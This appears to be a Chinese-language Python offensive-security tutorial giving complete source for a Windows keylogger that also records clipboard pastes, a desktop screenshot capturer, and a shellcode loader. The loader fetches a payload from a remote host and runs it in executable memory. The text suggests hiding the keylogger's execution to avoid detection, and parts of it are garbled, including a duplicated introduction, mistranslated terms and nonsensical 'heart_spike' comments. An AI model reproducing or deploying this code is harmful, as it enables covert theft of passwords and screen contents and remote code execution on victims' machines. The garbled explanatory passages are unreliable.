在資安測試中,模擬攻擊行為對於評估系統防禦能力至關重要。本文提供的 Python 程式碼示範了鍵盤記錄與螢幕截圖的實作方法,藉由 PyWinHook 函式庫與 Windows API,分別捕捉鍵盤輸入和擷取螢幕畫面。這些技術能協助測試人員取得敏感資訊,進而評估系統的安全性。然而,務必在合法和合乎道德的範圍內使用這些技術,避免觸犯法律。
鍵盤記錄的基本概念
鍵盤記錄是一種透過隱藏程式記錄使用者鍵盤輸入的技術,這些輸入可能包含敏感資訊。由於其簡單有效,至今仍是常見的攻擊手法。我們將使用 PyWinHook 這個 Python 函式庫來實作鍵盤記錄功能,它利用 Windows 的 SetWindowsHookEx 函式來捕捉鍵盤事件。
捕捉桌面截圖
在資訊安全和滲透測試中,擷取桌面螢幕影像是常見的技術手法,不僅可以捕捉敏感資訊,還能幫助測試人員瞭解目標系統的使用情況。以下是如何利用 Python 與 Windows API 來實作桌面截圖的方法。
實作Windows平台簡單鍵盤記錄器
在進行反向工程與資安測試時,模擬攻擊者的技術手法來測試系統的防禦能力是非常重要的。其中,鍵盤記錄(Keylogging)是一種古老但依然有效的技術,能夠捕捉敏感資訊如使用者名稱和密碼。本文將介紹如何使用Python在Windows平台上實作一個簡單的鍵盤記錄器。
鍵盤記錄的基本概念
鍵盤記錄是指使用隱藏程式來記錄使用者按鍵的行為,這些按鍵可能包含敏感資訊。由於其簡單且有效,鍵盤記錄仍然是攻擊者常用的手法之一。我們將使用PyWinHook這個Python函式庫來實作鍵盤記錄,該函式庫利用Windows的SetWindowsHookEx函式來捕捉鍵盤事件。
環境準備
首先,確保你已經安裝了必要的Python函式庫:
pip install pyWinhook pywin32
實作鍵盤記錄器
接下來,我們將實作一個簡單的鍵盤記錄器。首先,我們需要建立一個KeyLogger類別來處理鍵盤事件。
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 60 * 10 # 設定超時時間為10分鐘
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')
print('\n', process_id, executable.value.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.Key}')
return True
def run(self):
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(KeyLogger().run())
print('done.')
內容解密:
這段程式碼定義了一個KeyLogger類別,該類別包含了以下幾個主要方法:
__init__:初始化方法,設定當前視窗為None。get_current_process:取得當前活動視窗及其相關程式ID。這個方法會呼叫Windows API來取得前景視窗、視窗標題及程式名稱。mykeystroke:處理鍵盤事件的方法。當使用者按下鍵盤時,這個方法會被呼叫。如果視窗變更,會重新取得當前視窗的資訊;如果按下的是可列印字元,則輸出該字元;如果是Ctrl+V操作,則輸出剪貼簿內容。run:主執行方法。這個方法會設定標準輸出到StringIO物件中,並設定PyWinHook來捕捉鍵盤事件。在超時時間內持續捕捉事件,並最終傳回捕捉到的日誌。
測試鍵盤記錄器
你可以簡單地執行這段程式碼來測試鍵盤記錄器:
python keylogger.py
在執行程式後,正常使用Windows系統(例如瀏覽網頁、使用電腦、命令提示字元等),然後檢視終端機輸出結果。
安全與倫理考量
需要強調的是,鍵盤記錄器是一種強大且具有潛在危險性的工具。請確保在合法且合乎倫理的情況下使用此工具,並遵守相關法律法規。未經授權擷取他人的資訊是違法行為,可能會導致嚴重法律後果。
未來改進方向
這個簡單的鍵盤記錄器還可以進行多方面的改進:
- 加密日誌:將捕捉到的日誌進行加密儲存或傳輸,以提高安全性。
- 多平台支援:擴充套件到其他作業系統(如Linux和macOS)。
- 隱藏執行:改程式式以隱藏其執行痕跡,避免被發現。
透過這些改進,可以使得鍵盤記錄器更加強大且隱蔽。
擷取 Windows 桌面螢幕
在現代資訊安全與滲透測試中,擷取桌面螢幕影像是常見的技術手法。這不僅能夠捕捉敏感資訊,還能幫助測試人員瞭解目標系統的使用情況。以下是玄貓利用 Python 與 Windows API 來實作桌面截圖的完整方法。
捕捉桌面截圖
首先,我們需要安裝 pywin32 包來進行與 Windows API 的互動。可以使用以下命令來安裝:
pip install pywin32
接著,我們來編寫一個簡單的 Python 指令碼來捕捉整個桌面的截圖。以下是完整的程式碼:
import base64
import win32api
import win32con
import win32gui
import win32ui
def get_dimensions():
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
return (width, height, left, top)
def screenshot(name='screenshot'):
hdesktop = win32gui.GetDesktopWindow()
width, height, left, top = get_dimensions()
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC()
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
def run():
screenshot()
with open('screenshot.bmp', 'rb') as f:
img = f.read()
return img
if __name__ == '__main__':
run()
內容解密:
-
取得桌面尺寸:
get_dimensions()函式使用GetSystemMetricsAPI 來取得桌面的寬度、高度及左上角坐標。- 這些資訊用於後續的截圖操作。
-
取得桌面視窗控制程式碼:
hdesktop = win32gui.GetDesktopWindow()取得整個桌面視窗的控制程式碼。- 這個控制程式碼代表了整個視覺區域,包括多重顯示器。
-
建立裝置上下文:
desktop_dc = win32gui.GetWindowDC(hdesktop)建立一個與桌面視窗關聯的裝置上下文。img_dc = win32ui.CreateDCFromHandle(desktop_dc)建立一個與該裝置上下文關聯的記憶體裝置上下文。
-
建立記憶體裝置上下文:
mem_dc = img_dc.CreateCompatibleDC()建立一個與桌面裝置上下文相容的記憶體裝置上下文。- 這個記憶體裝置上下文將用來暫時儲存截圖資料。
-
建立點陣圖物件:
screenshot = win32ui.CreateBitmap()建立一個點陣圖物件。screenshot.CreateCompatibleBitmap(img_dc, width, height)建立一個與桌面大小相容的點陣圖。
-
複製桌面影像:
mem_dc.SelectObject(screenshot)將點陣圖選擇為記憶體裝置上下文中的當前物件。mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)使用 BitBlt 函式將桌面影像複製到點陣圖中。- BitBlt 是 Windows API 中用於在裝置上下文之間進行位元塊轉移的函式。
-
儲存截圖到檔案:
screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')將點陣圖儲存到檔案中。- 清理資源:刪除記憶體裝置上下文和點陣圖物件。
-
執行函式:
- 在
run()函式中呼叫screenshot()來執行截圖操作。 - 読取並傳回截圖檔案的內容。
- 在
Pythonic 心碼執行
在某些情況下,我們可能需要在目標機器上執行原始心碼(shellcode)以進行進一步的操作。這通常涉及在記憶體中分配空間並執行該心碼。以下是玄貓使用 Python 與 ctypes 模組來實作心碼執行的方法。
from urllib import request
import base64
import ctypes
kernel32 = ctypes.windll.kernel32
def get_code(url):
with request.urlopen(url) as response:
shellcode = base64.decodebytes(response.read())
return shellcode
def write_memory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
kernel32.RtlMoveMemory(ptr, buf, length)
return ptr
def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buffer)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
if __name__ == '__main__':
url = "http://192.168.1.203:8100/shellcode.bin"
shellcode = get_code(url)
run(shellcode)
內容解密:
-
取得心碼:
get_code(url)函式使用 urllib 模組從指定 URL 下載 base64 編碼的心碼,並解碼傳回原始心碼。
-
分配記憶體:
write_memory(buf)函式使用VirtualAllocAPI 在記憶體中分配一塊空間來儲存心碼。- 使用
RtlMoveMemoryAPI 將心碼複製到分配好的記憶體空間中。 VirtualAlloc的引數0x3000和0x40分別表示記憶體分配型別和保護屬性,這裡是分配可讀可寫可執行的記憶體區域。
def write_memory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p # 指定 VirtualAlloc 的傳回型別為指標型態(void pointer)
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t) # 指定 RtlMoveMemory 的引數型別為指標、指標和大小(size_t)
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40) # 在記憶體中分配一塊空間來儲存心碼(buffer)
kernel32.RtlMoveMemory(ptr, buf, length) # 將心碼複製到分配好的記憶體空間中
return ptr # 傳回指向分配記憶體區域之指標(pointer)
def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode) # 建立可變字串緩衝區(string buffer)來儲存解碼後之心碼(shellcode)
ptr = write_memory(buffer) # 呼叫 write_memory 函式將 heart_spike 的 heart_spike(原始 heart_spike 心碼) 心碼複製到分配好的記憶體空間中並傳回指向該區域之指標(pointer)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None)) # 強制轉換該指標為函式指標(function pointer)
shell_func() # 執行該函式指標所指向之函式